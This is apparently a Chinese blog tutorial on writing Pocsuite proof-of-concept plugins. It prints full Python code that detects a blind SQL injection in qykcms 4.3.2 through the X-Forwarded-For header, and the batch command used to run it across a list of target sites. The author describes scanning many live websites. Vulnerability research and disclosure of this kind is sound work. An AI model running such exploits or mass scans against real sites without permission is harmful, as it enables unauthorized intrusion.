0x00 前言

pocsuite的用处就不多说了,早些时候也看到黑哥和余弦大佬在微博上说zoomeye 和pocsuite升级了。

结合最近自己在审计cms,也想收集一下其他cms的poc,比如chybeta大佬的cmsPoc,还有Lucifer1993大佬的AngelSword,用pcosuite重新写一下poc,同时自己审出来的一些"0day"也是可以用这个框架。

0x01 文档文档

在大概看完文档之后,说说感觉。

pocsuite官网(http://pocsuite.org/),github地址(https://github.com/knownsec/Pocsuite)

1,pocsuite升级之后提供了一个控制台交互模式,之前貌似没有??不是很清楚。

2,pocsuite的强大之处是结合了知道创宇自家的几大产品,zoomeye和seebug。zoomeye能够提供大量的可疑目标,而seebug能够提供大量的poc,这几者结合真乃神器了。

但我在用zoomeye的时候有个疑惑,Seebug 搜索关键词,这个seebug搜索的漏洞,是平台上全部的吗?还有就是假如是metinfo,metinfo有多个可执行的poc,那么是全部执行吗?

在我测试之后发现这个poc是来源于你自己seebug账号提交的poc,你有多少poc就能搜多少。。相当于提供了一个云端的渗透测试工具。

假如你换了系统,就不需要把之前自己写代码拷过去了。直接下载pocsuite就可以使用,唯一需要配置的就是你的404账号和密码。

3,还有就是提供了给其他应用调用pocsuite的接口,那么个人也是可以利用这个diy出自己的批量漏扫。

毕竟轮子已经造好了,不用白不用啊!

0x02 编写poc

先说说下载,可以用git下载,也可以用pip安装,都很方便。用pip方便你可以随时使用,无须cd到具体目录去,当然可以配置环境变量以达到pip的效果。

pocsuite poc的编写其实并不难,按照文档给的模板,把该填的填了就行。

pocsuite poc提供了两种编写方式,一种是python,一种是json。个人主张python,自由度高,json方式看都没怎么看,完型填空,而且都是限制死了的。

主要的还是是编写verify 和attack 模式的代码,需要尽可能的减少需要从外部接收的参数,更加利于批量调度,也减少了用户的使用学习成本。毕竟脚本这种东西弄出来就是为了方便。

下面贴一贴自己之前审的qykcms前台的一个盲注poc

 #coding:utf-8

 from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register
import random
import string def randomstr():
return random.choice(string.ascii_letters)*5 class TestPOC(POCBase):
name = 'front boolean sqli in qykcms version 4.3.2'
version = ''
vulID = ''
author = ['r00tuser']
vulType = 'SQL Injection'
references = 'http://www.cnblogs.com/r00tuser/p/8044025.html'
desc = '''The vulneability is caused by filter the get_ip method,
and taker the userip into the database
'''
vulDate = '2017-12-15'
createDate = '2017-12-20'
updateDate = '2017-12-20' appName = 'qykcms'
appVersion = '4.3.2'
appPowerLink = 'http://www.qykcms.com/'
samples = [''] def _attack(self):
'''attack mode'''
return self._verify() def _verify(self):
'''verify mode'''
result = {}
data= {'lang':'cn','name':randomstr(),'content':randomstr(),'email':str(randomstr()+'@qq.com'),'phone':'','attachment':''}
headers = {'Referer': 'http://' + self.url,'X-Forwarded-For':'test'}
httpreq = req.session()
httpurl = self.url+'/?log=post&desc=feedback'
#first req
try:
response1 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
except Exception,e:
pass
#second req
try:
response2 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
if response2.status_code != 200:
return self.parse_output(result)
response2.encoding = response2.apparent_encoding
if u'系统限制' in response2.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception,e:
pass
return self.parse_output(result) def parse_output(self,result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output register(TestPOC)

本来用的是评论框来检测的,后来发现用户需要输入的东西太多了,然后改成用留言框。立马方便了很多,用户只需要输入网址便可。关于原因请看我的博文(http://www.cnblogs.com/r00tuser/p/8044025.html)

代码很简单也没有好说的。

0x03 实例使用

然后就是用这个脚本去跑啊跑,测试测试,修正修正bug。

跑了n多个网站,没有几个是可以的,心都凉了。

哎,鸡肋的洞就是麻烦。

不得不说pocsuite提供的批量扫目标(1对多),与及批量脚本扫批量目标(多对多)的功能是非常实用的。

python pocsuite.py -r modules/qykcms_4_3_2_front_boolean_sqli.py -f qykcms.txt --threads 5

用了五个线程,16个target 秒出。

0x04 总结

轮子好用我们得用,但最好还是得去了解一下轮子的特性,学习轮子是怎么造出来的。争取自己能造出另外一个轮子。

关于pocsuite的使用的更多相关文章

  1. pocsuite 实现一个verify检测功能

    今天在测试中发现一个命令执行漏洞,尝试用创宇的pocsuite框架实现.说实话,这玩意儿确实没有自己写POC顺手,非得就着他的标准来,就很难受,以至于耽误了很多时间在规范上.. 影响参数后直接用||连 ...

  2. Pocscan搭建详解

    0x01 关于Pocscan Pocscan是一款开源 Poc 调用框架,可轻松调用Pocsuite,Tangscan,Beebeeto,Knowsec老版本POC 按照官方规范编写的 Poc对目标域 ...

  3. Github 安全类Repo收集整理

    作者:天谕链接:https://zhuanlan.zhihu.com/p/21380662来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处.刚好这两天对之前github上关 ...

  4. 基于docker搭建开源扫描器——伏羲

    基于docker搭建开源扫描器——伏羲 1.简介 项目地址 伏羲是一款开源的安全检测工具,适用于中小型企业对企业内部进行安全检测和资产统计. 功能一览: 基于插件的漏洞扫描功能(类似于巡风) 漏洞管理 ...

  5. 漏洞应急响应之批量poc验证

    1.文章难易度 [★★★] 2.文章知识点: python,poc验证; 3.文章作者: 野驴 4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载! 0x01前言 当互联网爆出高危漏洞,或者团 ...

  6. Redis漏洞,远程攻击

    文章转自http://blog.csdn.net/whs_321/article/details/51734602 http://blog.knownsec.com/2015/11/analysis- ...

  7. Github安全整理(转载)

    刚好这两天对之前github上关注的一些比较有意思的项目进行了一下分类整理,在这里列出来分享给大家,希望能对大家寻找工具或者资源有所帮助. 大部分Repo是关于安全以及Python的,也有一些其他主题 ...

  8. ZZCMS8.2 用户密码重置漏洞

    前言 一个找回密码处的逻辑漏洞, 还是有点意思的. 正文 首先是定位找回密码功能对应的代码位置,使用找回密码的功能,然后抓包即可 下面去 getpassword.php 里面看看, 首先包含了一些文件 ...

  9. CVE-2017-8046 复现与分析

    环境搭建 使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.x ...

随机推荐

  1. 1.python的安装

    1.python 安装实验所用为系统自带,退出为exit() 或ctrl +D命令 2.一般装pyhton2.7 ,3.5的版本有更多特效.不用在版本上太多纠结.python官网https://www ...

  2. 一种使用GDI+对图片尺寸和质量的压缩方法

    今天同事向我询问图片压缩的算法.我想起大概两三年前做过的一个项目. 当中包括了尺寸和质量两种压缩算法.而且支持JPEG.bmp.PNG等格式. 今天把这段逻辑贴出来,供大家參考.(转载请指明来源于br ...

  3. Android安全专项-利用androguard分析微信

    androguard Androguard经常使用API学习1 安装 做 Android 安全測试之前你应该知道的工具 (一) 分析 ./androlyze.py -s进入分析的交互界面 然后运行 a ...

  4. 柯塔娜(Cortana):从科幻虚构到真实人生

    依照商业法理.7月29日.随着Win10公布的东风."小娜"与"小冰"两姊妹相会于中国北京. 在"小娜"眼中,"小冰"仅 ...

  5. Order笔记-数据库创建

    过程: 1,为这个项目新建一个用户名(实例),专门用于这个项目 2,建表 问题: 列在此处不允许: 笔记: 建表设置默认值: alter table 表名 modify 字段名 default 默认值 ...

  6. OS X第三方类库管理工具cocoapods入门

    一.简介 什么是cocoapods?--是OS X和iOS下一个第三方类库管理工具.通过cocoapods,可以为项目添加"Pods"依赖库,并且管理其版本. cocoapods好 ...

  7. 摧枯拉朽,说说ES6的三把火

    阅读目录 我是 Jser 我骄傲 作用域 模块系统 类(Class) 我是 Jser 我骄傲 JavaScript 如今可谓是屌丝逆袭高富帅的代名词哈,从当初闹着玩似的诞生到现在 Github 上力压 ...

  8. 结对编程-四则运算GUI的实现

    一.项目成员以及coding地址: 洪灏捷(本人)201321122020  coding地址:https://git.coding.net/hoje/The-GUI-operation.git 白至 ...

  9. 【java】计算一段代码执行时长java.lang.System类里的public static long currentTimeMillis()方法

    public class Test_currentTimeMillis { public static void main(String[] args) { long start=System.cur ...

  10. LANMP On CentOS 6

    摘要 --在CentOS6.2-x86_64上安装Apache,Nginx,MySQL,Php 环境:最小化安装系统 yum install lrzsz mlocate.x86_64 wget lso ...